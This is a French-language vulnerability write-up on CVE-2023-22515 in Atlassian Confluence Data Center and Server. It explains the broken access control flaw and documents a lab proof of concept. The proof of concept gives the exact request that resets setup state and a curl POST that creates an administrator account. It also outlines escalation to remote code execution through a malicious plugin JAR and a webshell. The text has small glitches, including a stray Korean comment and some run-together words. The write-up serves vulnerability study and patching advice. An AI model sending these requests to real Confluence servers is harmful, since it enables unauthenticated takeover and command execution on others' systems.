
Analyse détaillée et preuve de concept d'exploitation pour CVE-2023-22515, une vulnérabilité critique de contrôle d'accès cassé dans Atlassian Confluence Data Center et Server, permettant la création non authentifiée de comptes administrateur et une potentielle exécution de code à distance.
CVE-2023-22515 est une vulnérabilité critique de Contrôle d'accès brisé (Broken Access Control) découverte dans les produits Atlassian Confluence Data Center et Server. Un attaquant non authentifié peut réactiver à distance le processus de configuration initiale du serveur, puis créer un nouveau compte administrateur pour prendre complètement le contrôle du système.
Le cœur de cette vulnérabilité réside dans une validation insuffisante entre le mécanisme de liaison de paramètres du framework XWork2 et la logique de traitement des actions de Confluence.
Un attaquant peut manipuler la valeur de bootstrapStatusProvider.applicationConfig.setupComplete à via un paramètre d'URL. Cette propriété est un indicateur important pour déterminer si Confluence a terminé l'installation et la configuration.
falseGET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false HTTP/1.1
Host: <target-ip>
En envoyant cette requête, le serveur considère en mémoire que la configuration n'est pas terminée. Cela ne modifie pas le fichier de configuration permanent (confluence.cfg.xml), mais change l'état lors de l'exécution, permettant de contourner le contrôle d'accès.
/server-info.action en passant le paramètre bootstrapStatusProvider.applicationConfig.setupComplete=false./setup/* sont levées./setup/setupadministrator.action et crée un nouveau compte administrateur système.Nous avons mis en place un serveur Confluence vulnérable (version 8.5.1) en utilisant Docker.
atlassian/confluence-server:8.5.1docker-compose.yml (résumé):
services:
confluence:
image: atlassian/confluence-server:8.5.1
ports:
- "8090:8090"
environment:
- ATL_DB_TYPE=postgresql
# ... DB 설정 ...
Pour éviter les problèmes de dépendances Python, nous avons écrit et exécuté un PoC sous forme de script Bash utilisant curl.
Flux de l'exploit :
Reset Setup Status:
curl -v "http://localhost:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false"
Résultat : Une réponse de redirection HTTP 302 est retournée, confirmant que l'état de configuration terminée a été réinitialisé en interne.
Create Administrator:
curl -X POST "http://localhost:8090/setup/setupadministrator.action" \
-H "X-Atlassian-Token: no-check" \
--data "username=hacked_admin&password=p@ssw0rd123&..."
Résultat : Cette tentative de création du compte hacked_admin a été effectuée, et par la suite, il est possible d'accéder à la page de connexion avec ce compte.
Il est nécessaire de mettre à jour immédiatement vers la dernière version fournie par Atlassian.
Si le correctif n'est pas possible, l'accès aux points de terminaison /setup/* doit être bloqué au niveau réseau (équilibreur de charge, WAF, proxy inverse, etc.).
/setup/*Un attaquant ayant obtenu des privilèges d'administrateur via CVE-2023-22515 peut passer à l'étape d'exécution de commandes système (RCE).
/setup/finishsetup.action (nécessite un contournement de licence) ou naviguer dans les menus d'administration accessibles en utilisant une session existante.Confluence Administration -> Manage Apps -> Upload App.jar contenant des classes Java malveillantes./plugins/servlet/webshell?cmd=id) pour exécuter des commandes système.Notre environnement de test (Docker) ne dispose pas d'une licence Confluence valide, ce qui empêche de terminer l'étape de configuration initiale. Par conséquent, bien que la demande de création de compte administrateur ait réussi (302 Redirect), l'accès ultérieur au menu des plugins et l'exécution réelle de RCE ont été limités. Dans un environnement de production réel, une licence est enregistrée, donc la RCE est possible immédiatement sans ces limitations.
CVE-2023-22515 est une vulnérabilité très dangereuse permettant d'obtenir des privilèges d'administrateur sans authentification. L'attaque est possible en manipulant simplement un paramètre d'URL, ce qui rend la difficulté d'attaque très faible. Par conséquent, les organisations utilisant ces versions doivent appliquer immédiatement un correctif ou des mesures d'atténuation.